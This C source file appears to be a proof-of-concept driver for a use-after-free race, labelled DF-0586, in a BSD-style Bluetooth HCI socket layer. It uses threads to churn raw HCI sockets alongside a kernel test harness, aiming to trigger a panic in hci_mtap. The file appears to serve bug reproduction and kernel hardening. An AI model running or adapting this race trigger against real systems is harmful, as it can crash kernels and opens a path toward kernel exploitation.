/*
 * DF-0586 userspace driver (dense version): keep many HCI sockets open
 * concurrently to densely populate the global hci_pcb list, then rapidly
 * close+reopen them. This maximizes the chance that the harness's walker
 * thread (calling hci_mtap in a tight loop on another CPU) catches a pcb
 * in the brief window after hci_sdetach's LIST_REMOVE + kfree(pcb) and
 * before the slab re-uses the chunk.
 *
 * Build: cc -O2 -o poc_race poc_race.c -lpthread
 * Run:   ./poc_race [secs]            (load df0586_harness.ko first!)
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/sysctl.h>
#include <netbt/bluetooth.h>
#include <netbt/hci.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#ifndef SOCK_RAW
#define SOCK_RAW       3
#endif

#define	BATCH		64	/* sockets held open per churner */
#define	NCHURN		4	/* churner threads */

static volatile int stop = 0;

/*
 * Churner: keep BATCH sockets open, then in a tight loop close one and open
 * a new one. This drives hci_sattach (insert) and hci_sdetach (remove+free)
 * at high frequency while keeping the list densely populated.
 */
static void *
churner(void *arg)
{
	unsigned long cycles = 0, errors = 0;
	int fds[BATCH];
	int i;
	(void)arg;
	memset(fds, -1, sizeof(fds));
	/* Pre-open BATCH sockets */
	for (i = 0; i < BATCH; i++) {
		fds[i] = socket(AF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI);
		if (fds[i] < 0) errors++;
	}
	while (!stop) {
		/* pick a slot, close it, reopen it */
		i = (cycles & (BATCH - 1));
		if (fds[i] >= 0) {
			close(fds[i]);
			fds[i] = -1;
		}
		fds[i] = socket(AF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI);
		if (fds[i] < 0) errors++;
		else cycles++;
	}
	for (i = 0; i < BATCH; i++)
		if (fds[i] >= 0) close(fds[i]);
	fprintf(stderr, "churner %p: %lu close+reopen cycles, %lu errors\n",
		(void *)pthread_self(), cycles, errors);
	return NULL;
}

/*
 * Spammer: opens & immediately closes sockets as fast as possible (small
 * contribution to list churn; mainly exercises the attach/detach paths).
 */
static void *
spammer(void *arg)
{
	unsigned long n = 0;
	(void)arg;
	while (!stop) {
		int s = socket(AF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI);
		if (s >= 0) { close(s); n++; }
	}
	fprintf(stderr, "spammer %p: %lu open/close\n",
		(void *)pthread_self(), n);
	return NULL;
}

int
main(int argc, char **argv)
{
	pthread_t churn[NCHURN], spam[2];
	int secs = 30, i;

	if (argc > 1) secs = atoi(argv[1]);
	if (secs < 1) secs = 30;

	fprintf(stderr,
		"DF-0586 dense driver: %d churners (%d socks each) + 2 spammers "
		"for %ds. Load df0586_harness.ko first!\n",
		NCHURN, BATCH, secs);
	for (i = 0; i < NCHURN; i++)
		pthread_create(&churn[i], NULL, churner, NULL);
	for (i = 0; i < 2; i++)
		pthread_create(&spam[i], NULL, spammer, NULL);
	for (i = 0; i < secs; i++) sleep(1);
	stop = 1;
	__sync_synchronize();
	for (i = 0; i < NCHURN; i++) pthread_join(churn[i], NULL);
	for (i = 0; i < 2; i++) pthread_join(spam[i], NULL);

	/* Read harness counters */
	unsigned long wc = 0, kc = 0;
	size_t sz = sizeof(wc);
	sysctlbyname("kern.df0586.wcycles", &wc, &sz, NULL, 0);
	sysctlbyname("kern.df0586.kcycles", &kc, &sz, NULL, 0);
	fprintf(stderr, "DF-0586 dense driver done. harness: wcycles=%lu "
		"kcycles=%lu. Check boot.log for panic in hci_mtap.\n", wc, kc);
	return 0;
}
